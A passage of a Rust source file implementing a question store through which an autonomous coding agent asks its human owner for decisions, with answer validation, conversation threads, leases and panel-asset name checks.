magi/

ask.rs

//! Questions: what an agent does when the next decision is the owner's.
//!
//! An agent that reaches a fork it has no authority to take - which storage
//! backend, whether a breaking change is acceptable, which of two readings of
//! the task is meant - has two options. It can guess, and produce an
//! implementation the owner throws away; or it can stop and ask. This module is
//! the second option, and it is the reason the graph can be left alone
//! overnight without also being left to invent product decisions.
//!
//! Stopping is cheap on purpose. The run parks as [`RunStatus::Waiting`], which
//! [`crate::daemon::settle`] refunds, so a question does not spend a task's
//! retry budget: an operator who asks twice would otherwise come back to a held
//! task that never had a line of code judged.
//!
//! # Shape
//!
//! Deliberately the same split as [`crate::queue`]. [`Question`] is data plus
//! *pure* transitions - [`Question::answer`] is where a phone posting a choice
//! the question never offered is rejected, and it touches no disk. [`Questions`]
//! owns all I/O and is constructed with its root, so a test drives a real store
//! in a temp directory without touching the operator's real home.
//!
//! One question is one JSON file under [`Questions`]'s root, written atomically.
//! Files rather than a database because three processes read and write these
//! records - the run that asked, `magi web` serving the phone, and `magi answer`
//! at a terminal - and a rename is the only cross-process atomic write that
//! needs no coordination between them. It is also why the wait below polls: the
//! answer arrives in a file written by a process this one has no channel to.
//!
//! [`RunStatus::Waiting`]: crate::run::RunStatus::Waiting

use std::path::{Path, PathBuf};
use std::time::Duration;

use anyhow::{Context, Result, bail};
use jiff::Timestamp;
use serde::{Deserialize, Serialize};

use crate::config;
use crate::proc::Quiet as _;
use crate::run::RunStatus;

/// On-disk format for a question. Bumped when a field's meaning changes, or -
/// as with [`Question::thread`], [`Question::answer_timeout`] and now the
/// waiter bookkeeping ([`Question::cwd`], [`Question::waiter`],
/// [`Question::delivered_turns`], [`Question::answer_delivered`]) - when a
/// new field is added that a much older magi has no notion of at all.
///
/// The web UI is written against this shape by hand - there is no shared schema
/// between the front end and this struct - so a field that changes meaning
/// without a bump here is a UI that lies silently.
///
/// A file is refused only when its own `schema` is *greater* than this one -
/// see [`read_path`] - never merely different: `#[serde(default)]` on every
/// field added since 1 is what makes an older file's absence of `thread` mean
/// "no conversation yet" rather than "unreadable", and a strict equality check
/// would turn every bump into an upgrade that breaks reading yesterday's
/// question files.
pub const SCHEMA: u32 = 5;

/// How often the wait re-reads the question file.
///
/// Three seconds: the answer comes from a human on a phone, so the difference
/// between three seconds and three hundred milliseconds is invisible to them,
/// while a tight loop would `stat` and parse a file thousands of times per
/// minute for a wait that routinely lasts hours. Nothing is held between polls -
/// no lock, no open handle - because `magi web` and `magi answer` write the
/// same file from other processes.
const POLL: Duration = Duration::from_secs(3);

/// How long an agent's reply may go unnoticed before it earns its own
/// notification.
///
/// An operator reading the card when the agent replies does not need paging
/// again for a conversation they are already in; one who walked away still
/// needs the tap on the shoulder. Five minutes is a judgement call about that
/// line, not a policy a repository has an opinion about, which is why it lives
/// here rather than in `magi.toml`: the operator cannot tell from `magi.toml`
/// whether they are still looking at the phone, and neither can this build, so
/// there is nothing for a per-repository setting to be *right* about.
const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);

/// How long the operator's notification command may run before it is killed.
///
/// A webhook that hangs must not hang the run. Twenty seconds is long enough
/// for a slow HTTP round trip and short enough that the operator still gets the
/// question filed and the run parked in a bounded time.
const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);

/// The longest a single `magi ask` invocation may block on the owner before
/// it hands the wait back to whatever is running it, rather than to
/// [`Question::abandon`].
///
/// `answer_timeout` defaults to a day, and that is a deadline for the
/// *question*, not a budget the calling process is free to spend all at
/// once: an agent CLI's own shell tool kills a command that runs much longer
/// than this, and the child it kills is `magi ask` itself - the one thing
/// that would have read the owner's answer. Run 20260908-205802-c9eb is what
/// that looks like end to end: seat `impl-A` asked, its tool timed the wait
/// out, and the seat's own summary said it had backgrounded the blocking
/// `magi ask` and would "continue once the owner replies" - except nothing
/// was left to notice the reply. The seat exited `completed`, the
/// backgrounded child died with it, and the owner's eventual answer on the
/// web UI had nobody left to read it.
///
/// So a wait is sliced instead: this call blocks for at most `WAIT_SLICE`
/// and returns [`Wait::Pending`] if nothing happened, which is not a
/// failure - the caller runs `magi ask --wait <id>` again, in a fresh
/// process the tool timeout has never seen. Four minutes leaves a ten-minute
/// tool budget room for the CLI's own startup and the notification's round
/// trip, while staying long enough that an owner who answers within the hour
/// is not making an agent loop through fifteen slices to hear about it.
const WAIT_SLICE: Duration = Duration::from_secs(240);

/// How long a lease stays believable after its last beat.
///
/// Longer than [`WAIT_SLICE`]'s hand-back gap by a wide margin: a slice that
/// ends with [`Wait::Pending`] leaves the asking agent a moment to call
/// `magi ask --wait` again, and a reply leaves it a moment to call `--thread`.
/// A holder that beats every [`POLL`] and is silent for ninety seconds is gone
/// or about to be, and a lease that is merely between two calls must not be
/// mistaken for that - the daemon waiter would start a second agent on a
/// conversation the first is still in.
pub const LEASE_TTL: Duration = Duration::from_secs(90);

/// How long [`Questions::update`]'s lock may be held before it is presumed
/// left behind by a writer that died.
const LOCK_STALE: Duration = Duration::from_secs(10);

/// Environment variable naming the base URL of the web UI, for `{url}`.
///
/// A run cannot discover this by itself: `magi web` is a different process,
/// usually started by hand and often on a different machine on the tailnet, and
/// the address it settled on (Tailscale IP, port, or the fallback it warned
/// about) exists only in that process. So the operator names it once, in the
/// environment `magi serve` runs in - `magi web --open` prints exactly the
/// string to use on stdout. Unset means `{url}` expands to nothing rather than
/// to a guess: a notification carrying a link to an address nothing is
/// listening on is worse than one carrying no link at all.
pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";

/// Largest panel magi will store, html plus assets.
///
/// Checked as a total, before a single byte is written, because the failure
/// this prevents is not a full disk but a half-copied panel: an agent that
/// points at a 200 MB screen recording must get one clean error, not a
/// directory holding the three small files that fitted before the copy died.
/// Eight mebibytes is far more than a diff, a table and a handful of images
/// need, and small enough that a phone on a hotel link still renders it.
pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;

/// Suffix of the directory holding one question's panel.
///
/// A sibling of `<id>.json` rather than a subdirectory of the store, so
/// [`Questions::list`] - which takes every `*.json` in the root - cannot ever
/// see it, and so a panel travels with the question it belongs to.
const PANEL_DIR: &str = ".panel";

/// The panel's entry point inside its directory.
const PANEL_HTML: &str = "index.html";

/// Scratch directory a panel is assembled in before it is swapped into place.
const PANEL_TMP: &str = ".panel.tmp";

/// The one asset filename rule, applied on write **and** on read.
///
/// Exactly `^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$`, and additionally never
/// containing `..`. The pattern is this narrow because the name arrives from
/// two untrusted directions and is then joined onto a path: an agent naming
/// the asset, and a URL naming it back to [`Questions::panel_asset`]. Every
/// character that could change what the join means is outside the set - `/`
/// and `\` cannot appear, so no name can descend or escape; a leading `.` is
/// refused, so no name can be `..`, `.` or a dotfile; a drive letter's `:` is
/// refused, which matters because on Windows `Path::join` with an absolute
/// path *discards the whole prefix* and would serve any file on the disk.
/// `..` is refused anywhere rather than only at the front so the rule reads
/// the same as the sentence "no traversal" to anyone auditing it.
///
/// The length bound keeps a name inside every filesystem's limit, so a panel
/// that stores cannot fail to store on the operator's other machine.
pub fn valid_asset_name(name: &str) -> bool {
    if name.is_empty() || name.len() > 64 || name.contains("..") {
        return false;
    }
    let mut chars = name.chars();
    chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
        && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
}

/// Where a question is in its life.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum QuestionStatus {
    /// Asked, and waiting for the owner. A run is parked behind it.
    Open,
    /// The owner decided. [`Question::answer`] holds what they said.
    Answered,
    /// Nobody answered in time, or the question outlived the run that asked.
    /// Kept rather than deleted: what was asked and never answered is the
    /// evidence that the operator was the bottleneck.
    Abandoned,
}

impl QuestionStatus {
    /// Is a run still parked behind this question?
    pub fn open(self) -> bool {
        matches!(self, Self::Open)
    }

    /// Lowercase name, as it appears on disk and in the API.
    pub fn as_str(self) -> &'static str {
        match self {
            Self::Open => "open",
            Self::Answered => "answered",
            Self::Abandoned => "abandoned",
        }
    }
}

/// What the owner said.
///
/// Two shapes rather than one string because the question decides which is
/// admissible, and [`Question::answer`] enforces it. A phone that posts
/// `{"choice": "Redis"}` to a question that never offered Redis is a bug in the
/// front end, and it is caught here rather than handed to an agent as fact.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum Answer {
    /// One of the offered choices, verbatim.
    Choice(String),
    /// Free text, for a question that offered no choices.
    Text(String),
}

/// What the daemon does to the task behind a question when a particular
/// choice is answered.
///
/// A closed set, attached to a choice by the asker (`magi ask --choice X
/// --action X=resume`) and matched by the choice's exact text. Nothing here
/// is ever derived from the wording of a label or of a free-text answer: a
/// question without an action for the chosen label does nothing but answer.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(tag = "do", rename_all = "lowercase")]
pub enum ChoiceAction {
    /// Resume this run of the task that owns the question.
    Resume {
        /// The run to continue. Must still be the task's latest run.
        run: String,
    },
    /// Requeue the task as a fresh competition.
    Requeue,
    /// Close the task as done.
    Done,
}

impl ChoiceAction {
    /// Parse a `--action` value: `<label>=<verb>`, where the verb is
    /// `resume[:<run>]`, `requeue` or `done`. A `resume` without a run takes
    /// `default_run` (the asker's own `MAGI_RUN`). Returns the label and its
    /// action; whether the label is one of the choices is the caller's check.
    pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
        let Some((label, verb)) = spec.rsplit_once('=') else {
            bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|done>`");
        };
        let label = label.trim();
        if label.is_empty() {
            bail!("`--action {spec}` names no choice before `=`");
        }
        let verb = verb.trim();
        let action = match verb.split_once(':') {
            Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
                run: run.trim().to_owned(),
            },
            None if verb == "resume" => {
                if default_run.is_empty() {
                    bail!("`--action {spec}` names no run and MAGI_RUN is not set");
                }
                Self::Resume {
                    run: default_run.to_owned(),
                }
            }
            None if verb == "requeue" => Self::Requeue,
            None if verb == "done" => Self::Done,
            _ => bail!(
                "unknown action `{verb}` in `--action {spec}`; \
                 use resume[:<run>], requeue or done"
            ),
        };
        Ok((label.to_owned(), action))
    }

    /// Short human wording, for `magi show` and the card.
    pub fn describe(&self) -> String {
        match self {
            Self::Resume { run } => format!("resume run {}", short(run)),
            Self::Requeue => "requeue the task".to_owned(),
            Self::Done => "mark the task done".to_owned(),
        }
    }
}

/// Parse every `--action` value against the offered `choices`, refusing a
/// label the question does not offer (it could never fire).
pub fn parse_actions(
    specs: &[String],
    choices: &[String],
    default_run: &str,
) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
    let mut out = std::collections::BTreeMap::new();
    for spec in specs {
        let (label, action) = ChoiceAction::parse(spec, default_run)?;
        if !choices.contains(&label) {
            bail!(
                "`--action {spec}`: `{label}` is not one of the --choice values ({})",
                choices.join(", ")
            );
        }
        if out.insert(label.clone(), action).is_some() {
            bail!("more than one --action for `{label}`");
        }
    }
    Ok(out)
}

/// Who wrote one turn of a question's conversation.
///
/// Two values, not three: [`Question::thread`] is the record of a single
/// question stopping and resuming, and the agent that resumes it is always
/// the one that asked - a fresh consultant would have to be caught up on
/// everything the first agent already knows, which is the round trip this
/// module exists to avoid. The names and the wire spelling deliberately match
/// [`crate::chat::Who`], which this module does not depend on: the two are the
/// same idea in two products, and giving them the same shape is what lets the
/// phone render both with one component.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum Who {
    /// The person the agent asked.
    Operator,
    /// The agent that asked, replying to a question of its own rather than
    /// answering.
    Agent,
}

/// One turn in a question's back-and-forth, after the question itself was
/// asked.
///
/// The question's own `summary`/`detail`/`choices` already carry the agent's
/// opening move, so a turn only exists from the moment the owner talks back -
/// [`Question::thread`] starts empty and stays that way for the overwhelming
/// majority of questions, which are answered on the first read.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Turn {
    /// Who said it.
    pub who: Who,
    /// What they said.
    pub body: String,
    /// When they said it.
    pub at: Timestamp,
}

/// Who is keeping watch over an open question.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum WaiterKind {
    /// The `magi ask` process the agent started.
    Asker,
    /// The `magi serve` waiter ([`crate::waiter`]), resuming the asking seat's
    /// own session because the asker is gone.
    Daemon,
    /// The question's deputy ([`crate::deputy`]): a short-lived seat that
    /// `magi serve` runs for a question the conductor filed, so that something
    /// which remembers why it was asked is on the other end.
    Deputy,
}

/// The follow-up seat a conductor question hands its wait to.
///
/// The conductor itself never waits (see [`crate::conduct`]), so a free-text
/// reply to its question would reach nobody. A deputy is a seat of its own -
/// keyed `deputy-<question id>`, never the conductor's shared seat - that
/// inherits what the conductor knew about this one question ([`Deputy::brief`])
/// and blocks on it with `magi ask --wait`. Persisted on the question so a
/// restarted daemon resumes the same CLI conversation instead of assuming it.
///
/// Written only through [`Questions::update`]: the owner's say and answer land
/// on the same file.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct Deputy {
    /// Why the question was asked, what each choice leads to: the conductor's
    /// context for this one question, handed to the deputy in its prompt.
    pub brief: String,
    /// The agent that holds the seat. Empty until the first start.
    #[serde(default)]
    pub agent: String,
    /// The deputy's own conversation. `None` until the first start.
    #[serde(default)]
    pub seat: Option<crate::agent::SeatState>,
    /// How many times a deputy turn was started for this question. Never reset
    /// by a restart, so a deputy that keeps dying is bounded.
    #[serde(default)]
    pub starts: u32,
}

impl Deputy {
    /// A deputy that has not started yet, holding `brief`.
    pub fn new(brief: String) -> Self {
        Self {
            brief,
            agent: String::new(),
            seat: None,
            starts: 0,
        }
    }
}

/// Seat name of the deputy for question `id`.
pub fn deputy_seat_key(id: &str) -> String {
    format!("deputy-{}", short(id))
}

/// The record's note of who was last known to be waiting.
///
/// A note, not a promise: nothing rewrites the question when a holder dies, so
/// whether it still holds is read from the [`Lease`] beside it.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct Waiter {
    /// Who took the wait.
    pub kind: WaiterKind,
    /// When they took it.
    pub since: Timestamp,
}

/// A sidecar (`<id>.lease`) saying that something is alive and waiting.
///
/// A sidecar rather than a field of the question because a holder beats every
/// few seconds, and rewriting the question that often would race the phone's
/// answer and say with lost updates. It is not `*.json`, so
/// [`Questions::list`] never sees it. No pid check: pids are reused and mean
/// different things across platforms, while a beat that stopped is evidence on
/// every one.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
pub struct Lease {
    /// Who beat last.
    pub kind: WaiterKind,
    /// Their process id, for a human reading the file.
    pub pid: u32,
    /// When they beat last.
    pub beat_at: Timestamp,
}

impl Lease {
    /// Was the last beat recent enough to believe the holder is still there?
    pub fn fresh(&self, now: Timestamp) -> bool {
        now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
    }
}

/// One decision magi will not take on the owner's behalf.
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
#[serde(deny_unknown_fields)]
pub struct Question {
    /// On-disk format version.
    pub schema: u32,
    /// Question id, e.g. `20260902-231501-ab12`. Same shape as a run's and a
    /// task's, so the operator can paste any of them at any prefix argument.
    pub id: String,
    /// Run that is parked behind this question.
    pub run: String,
    /// Graph node the asking agent was working in, e.g. `implement`.
    pub node: String,
    /// Seat that asked, e.g. `impl-A`. Recorded because "which agent needs
    /// this" decides whether the answer unblocks one candidate or all of them.
    pub seat: String,
    /// One line: the question itself. This is what a notification carries and
    /// what the phone shows above the answer controls.
    pub summary: String,
    /// The reasoning behind the question, as markdown. May be long, may be
    /// empty. Rendered as text nodes by the UI, never as markup.
    pub detail: String,
    /// The admissible answers. **Empty means free text** - that one condition
    /// is the whole difference between the two kinds of question, on disk, in
    /// the UI, and in [`Question::answer`]'s validation.
    pub choices: Vec<String>,
    /// What the daemon does when a given choice is answered, keyed by the
    /// choice's exact text. Empty for an ordinary question. A key is always
    /// one of [`Question::choices`]; `#[serde(default)]` so older files read.
    #[serde(default)]
    pub actions: std::collections::BTreeMap<String, ChoiceAction>,
    /// Does this question have an agent-authored HTML panel beside it?
    ///
    /// Serialised with a default so a question written by an older magi - or
    /// by hand - still deserialises rather than failing the whole store, which
    /// under [`Questions::list`]'s skip-unreadable rule would quietly hide the
    /// open question the operator was looking for.
    #[serde(default)]
    pub panel: bool,
    /// Files copied in beside the panel's html, by base name, sorted.
    ///
    /// The list exists so a reader knows what a panel is made of without
    /// walking the directory, and every entry satisfies [`valid_asset_name`].
    /// Sorted because it is compared - a question re-asked with the same
    /// assets in a different argument order is not a different question.
    #[serde(default)]
    pub assets: Vec<String>,
    /// Current state.
    pub status: QuestionStatus,
    /// When the agent asked.
    pub asked_at: Timestamp,
    /// When the owner answered, if they did.
    pub answered_at: Option<Timestamp>,
    /// What they said.
    pub answer: Option<Answer>,
    /// Everything said after the question itself, oldest first: the owner
    /// asking back, the agent replying, as many times as it takes before an
    /// [`Answer`] lands.
    ///
    /// `#[serde(default)]` so a question written before this field existed -
    /// every question on disk before this build - still deserialises as one
    /// with no conversation yet, rather than failing [`Questions::list`]'s
    /// read and quietly hiding an open question from the operator.
    #[serde(default)]
    pub thread: Vec<Turn>,
    /// The `answer_timeout`, in seconds, that was in force when this question
    /// was first asked. `0` means unrecorded - a question written before this
    /// field existed, or one filed by a flow (land's merge-approval gate)
    /// that never sets it because it never resumes a sliced wait.
    ///
    /// [`Question::new`] cannot know this - the effective timeout (`--timeout`,
    /// or the config default) is decided by the caller, after the question
    /// already exists - so it starts at `0` here and whoever files a fresh
    /// question sets it once, the same way [`Question::panel`] is set by
    /// [`Questions::put_panel`] rather than by the constructor. It is never
    /// touched again: `magi ask --wait` reads it as the one deadline it is
    /// allowed to enforce, precisely so that a `--timeout` given (or omitted)
    /// on a later call can never quietly extend or shrink the budget the
    /// question was actually asked with.
    #[serde(default)]
    pub answer_timeout: u64,
    /// The directory the asking agent was working in when it asked, so the
    /// daemon waiter can resume that agent's session from where it stood.
    /// `None` for a question no `magi ask` filed (land's approval gate, a
    /// release notice, one written before this field existed): those have no
    /// agent to hand anything back to, and the waiter leaves them alone.
    #[serde(default)]
    pub cwd: Option<String>,
    /// Who was last known to be waiting - see [`Waiter`].
    #[serde(default)]
    pub waiter: Option<Waiter>,
    /// How many entries of [`Question::thread`] the agent has been shown, by
    /// the asking process printing them or by the waiter resuming the seat.
    /// The owner's turn at an index at or past this has reached nobody yet.
    #[serde(default)]
    pub delivered_turns: usize,
    /// Has the agent been told the [`Answer`]? The asker prints it as it
    /// returns; the waiter delivers it when the asker was gone.
    #[serde(default)]
    pub answer_delivered: bool,
    /// The follow-up seat waiting on this question, for a question the
    /// conductor filed. `None` for every other question.
    #[serde(default)]
    pub deputy: Option<Deputy>,
}

impl Question {
    /// Ask something. Persist it with [`Questions::put`], or hand it to
    /// [`ask_and_wait`], which files it and waits.
    pub fn new(
        run: String,
        node: String,
        seat: String,
        summary: String,
        detail: String,
        choices: Vec<String>,
    ) -> Self {
        Self {
            schema: SCHEMA,
            id: new_id(),
            run,
            node,
            seat,
            summary,
            detail,
            choices,
            actions: std::collections::BTreeMap::new(),
            panel: false,
            assets: Vec::new(),
            status: QuestionStatus::Open,
            asked_at: Timestamp::now(),
            answered_at: None,
            answer: None,
            thread: Vec::new(),
            answer_timeout: 0,
            cwd: None,
            waiter: None,
            delivered_turns: 0,
            answer_delivered: false,
            deputy: None,
        }
    }

    /// Short form used in reports and on the phone, matching a run's short id.
    pub fn short(&self) -> &str {
        short(&self.id)
    }

    /// The action attached to the choice that was answered, if the question
    /// is answered with a choice that carries one. Free text never matches.
    pub fn chosen_action(&self) -> Option<&ChoiceAction> {
        match (&self.status, &self.answer) {
            (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
            _ => None,
        }
    }

    /// Does this question want free text rather than one of a set?
    pub fn free_text(&self) -> bool {
        self.choices.is_empty()
    }

    /// Record an answer. Rejects a choice the question does not offer, free
    /// text on a multiple-choice question, an empty answer, and a second
    /// answer.
    ///
    /// Every rejection here is a case where accepting would put a fabrication
    /// in front of an agent as if the owner had said it. The messages are
    /// distinct because the caller is a web handler that shows them verbatim,
    /// and "that is not one of the choices" and "this question is multiple
    /// choice" are different mistakes with different fixes.
    pub fn answer(&mut self, answer: Answer) -> Result<()> {
        match self.status {
            QuestionStatus::Answered => bail!(
                "question {} was already answered; the run has moved on and a \
                 second answer would be a decision nobody acted on",
                self.short()
            ),
            QuestionStatus::Abandoned => bail!(
                "question {} was abandoned and the run behind it is gone",
                self.short()
            ),
            QuestionStatus::Open => {}
        }
        let body = match &answer {
            Answer::Choice(c) | Answer::Text(c) => c.as_str(),
        };
        if body.trim().is_empty() {
            bail!(
                "question {} needs an answer; an empty one tells the agent \
                 nothing and it would guess anyway",
                self.short()
            );
        }
        match &answer {
            Answer::Choice(c) if self.free_text() => bail!(
                "question {} asks for free text, so `{c}` cannot be a choice \
                 it offered",
                self.short()
            ),
            Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
                "`{c}` is not one of the choices question {} offers: {}",
                self.short(),
                self.choices.join(", ")
            ),
            Answer::Text(_) if !self.free_text() => bail!(
                "question {} is multiple choice; answer with one of: {}",
                self.short(),
                self.choices.join(", ")
            ),
            _ => {}
        }
        self.answered_at = Some(Timestamp::now());
        self.answer = Some(answer);
        self.status = QuestionStatus::Answered;
        Ok(())
    }

    /// Give up on an answer, keeping the record of what was asked.
    ///
    /// An answered question is left alone, which matters at exactly one moment:
    /// the owner answering in the same second the wait's deadline passes. The
    /// answer is the thing worth keeping there, and it has already been written
    /// by another process.
    ///
    /// The reason is appended to [`Question::detail`] because the on-disk shape
    /// is a contract with the front end and has no field of its own for it -
    /// and "asked at 3am, nobody home for a day" belongs with the question, not
    /// only in a log the operator will never open.
    pub fn abandon(&mut self, why: impl Into<String>) {
        if !self.status.open() {
            return;
        }
        self.status = QuestionStatus::Abandoned;
        let why = why.into();
        let why = why.trim();
        if why.is_empty() {
            return;
        }
        if !self.detail.is_empty() {
            self.detail.push('\n');
        }
        self.detail.push_str("\n_Abandoned: ");
        self.detail.push_str(why);
        self.detail.push_str("._\n");
    }

    /// The answer as the asking agent should read it.
    ///
    /// One string for both kinds of question: the agent's prompt says "the
    /// owner answered:", and a chosen option and a typed sentence are the same
    /// thing at that point. `None` while the question is open or abandoned, so
    /// a caller cannot mistake silence for a decision.
    pub fn resolution(&self) -> Option<String> {
        match (self.status, &self.answer) {
            (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
                Some(a.clone())
            }
            _ => None,
        }
    }

    /// A deputy recording that the owner's own words settled the question.
    ///
    /// The owner decided in free text ("setup done") on a question that offers
    /// choices, so no choice was ever tapped. This records `label` as the
    /// answer - and nothing else: applying it is the daemon's existing path
    /// for an answered conductor question. Refused unless the caller is this
    /// question's deputy seat, `label` is one of the offered choices, and
    /// `quote` appears verbatim in something the owner said; the quote is
    /// kept in the thread as an agent turn so the record shows what the
    /// decision rests on.
    pub fn settle_by_deputy(&mut self, seat: &str, label: &str, quote: &str) -> Result<()> {
        let Some(deputy) = &self.deputy else {
            bail!("question {} has no deputy", self.short());
        };
        let own = deputy.seat.as_ref().map(|s| s.key.as_str());
        if own != Some(seat) {
            bail!("only the deputy of question {} may settle it", self.short());
        }
        if !self.choices.iter().any(|c| c == label) {
            bail!(
                "`{label}` is not one of the choices offered on question {}",
                self.short()
            );
        }
        let quote = quote.trim();
        if quote.is_empty()
            || !self
                .thread
                .iter()
                .any(|t| t.who == Who::Operator && t.body.contains(quote))
        {
            bail!(
                "the quote is not something the owner said on question {}",
                self.short()
            );
        }
        self.thread.push(Turn {
            who: Who::Agent,
            body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
            at: Timestamp::now(),
        });
        self.delivered_turns = self.thread.len();
        self.answer(Answer::Choice(label.to_owned()))
    }

    /// The owner speaking back without answering: a request for context, a
    /// clarifying question, anything short of a decision.
    ///
    /// Rejects the same two states [`Question::answer`] does, and for the same
    /// reason - a question with a recorded [`Answer`] or an abandoned one has
    /// no run left listening for a reply - and an empty turn, which would tell
    /// the agent nothing it didn't already know. Never changes `status`: the
    /// question stays [`QuestionStatus::Open`], because the owner did not
    /// decide anything, they only spoke, and `count_open`/`open_for` must keep
    /// counting this as the one question it always was.
    pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
        match self.status {
            QuestionStatus::Answered => bail!(
                "question {} was already answered; there is nothing left to \
                 discuss",
                self.short()
            ),
            QuestionStatus::Abandoned => bail!(
                "question {} was abandoned and the run behind it is gone",
                self.short()
            ),
            QuestionStatus::Open => {}
        }
        let body = body.into();
        if body.trim().is_empty() {
            bail!("a message to question {} cannot be empty", self.short());
        }
        self.thread.push(Turn {
            who: Who::Operator,
            body,
            at: Timestamp::now(),
        });
        Ok(())
    }

    /// The agent replying to the owner's last word, in place of an answer:
    /// same question, same id, another round.
    ///
    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
    /// on the same reasoning [`Questions::put_panel`] replaces a panel
    /// wholesale: the whole point of asking back is that what should be
    /// offered next may have changed, and a caller that wanted the old set
    /// unchanged can simply pass it again. An empty `Vec` means free text,
    /// exactly as it does when the question is first asked.
    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
        match self.status {
            QuestionStatus::Answered => bail!(
                "question {} was already answered; replying now would not \
                 reach anyone",
                self.short()
            ),
            QuestionStatus::Abandoned => bail!(
                "question {} was abandoned and the run behind it is gone",
                self.short()
            ),
            QuestionStatus::Open => {}
        }
        let body = body.into();
        if body.trim().is_empty() {
            bail!("a reply to question {} cannot be empty", self.short());
        }
        // An action whose label is no longer offered could never fire.
        self.actions.retain(|label, _| choices.contains(label));
        self.choices = choices;
        let unread = self.unread_from_owner().is_some();
        self.thread.push(Turn {
            who: Who::Agent,
            body,
            at: Timestamp::now(),
        });
        // The agent has read everything up to its own reply - but only if
        // nothing the owner said in the meantime is still unread. A second say
        // that landed after the agent's last look must stay undelivered.
        if !unread {
            self.delivered_turns = self.thread.len();
        }
        Ok(())
    }

    /// What the owner said that the agent has not read yet, oldest first,
    /// joined. `None` unless the question is open and such a turn exists.
    ///
    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
    /// second owner turn it never saw, which leaves the last turn the agent's
    /// and the ball apparently back with the owner while a say is still unread.
    pub fn unread_from_owner(&self) -> Option<String> {
        if !self.status.open() {
            return None;
        }
        let from = self.delivered_turns.min(self.thread.len());
        let said: Vec<&str> = self.thread[from..]
            .iter()
            .filter(|t| t.who == Who::Operator)
            .map(|t| t.body.as_str())
            .collect();
        (!said.is_empty()).then(|| said.join("\n\n"))
    }

    /// When the conversation last moved: the newest thread turn, or the asking
    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
    /// every reply, so a deadline runs from here and not from `asked_at`.
    pub fn last_activity(&self) -> i64 {
        self.thread
            .iter()
            .map(|t| t.at.as_second())
            .max()
            .unwrap_or(0)
            .max(self.asked_at.as_second())
    }

    /// Is the ball in the agent's court?
    ///
    /// True from the moment the owner speaks back until the agent's next
    /// [`Question::reply`], and never on a fresh or an already-settled
    /// question. [`QuestionStatus`] does not move for either side of this -
    /// see [`Question::say`] - so this is the one place that state is
    /// readable at all, which is why [`crate::web::QuestionView`] carries it
    /// separately rather than asking the phone to infer it from the thread.
    pub fn waiting_on_agent(&self) -> bool {
        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
    }

    /// Should a notification go out right now?
    ///
    /// Always, for the very first ask: [`Question::thread`] is still empty, so
    /// there is no earlier operator turn to have already caught anyone's
    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
    /// since the owner's own last word - see that constant for why the window
    /// exists at all and why its length is not configurable.
    fn should_notify(&self, now: Timestamp) -> bool {
        let Some(last) = self
            .thread
            .iter()
            .rev()
            .find(|t| t.who == Who::Operator)
            .map(|t| t.at)
        else {
            return true;
        };
        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
    }
}

/// A question store on disk.
#[derive(Debug, Clone)]
pub struct Questions {
    root: PathBuf,
}

impl Questions {
    /// The operator's questions, `<home>/questions`.
    pub fn open() -> Self {
        Self::at(crate::run::home().join("questions"))
    }

    /// A store at an explicit root. Tests use this, which is why none of them
    /// need the operator's real home.
    pub fn at(root: PathBuf) -> Self {
        Self { root }
    }

    /// Directory holding the question files.
    pub fn root(&self) -> &Path {
        &self.root
    }

    /// Path for one question id.
    pub fn path_of(&self, id: &str) -> PathBuf {
        self.root.join(format!("{id}.json"))
    }

    /// Directory holding one question's panel, `<root>/<id>.panel`.
    pub fn panel_dir(&self, id: &str) -> PathBuf {
        self.root.join(format!("{id}{PANEL_DIR}"))
    }

    /// Store a panel: the html, plus `assets` copied in under their base
    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
    /// question, or the record on disk will deny having a panel that exists.
    ///
    /// The assets are **copied, not referenced**. An agent authors its panel
    /// inside a candidate worktree and points at files there, and `magi fold`
    /// deletes those worktrees; a question is the permanent record of a
    /// decision the owner took, so a panel that referenced its own images
    /// would render as broken boxes exactly when someone went back to ask why
    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
    /// does, and so does the [`std::fs::metadata`] the size is measured with,
    /// so the bytes counted and the bytes written are the same target file's -
    /// which is the intent: storing a link would leave the panel pointing at
    /// the worktree again, one indirection further away.
    ///
    /// Everything that can be rejected is rejected before the first byte is
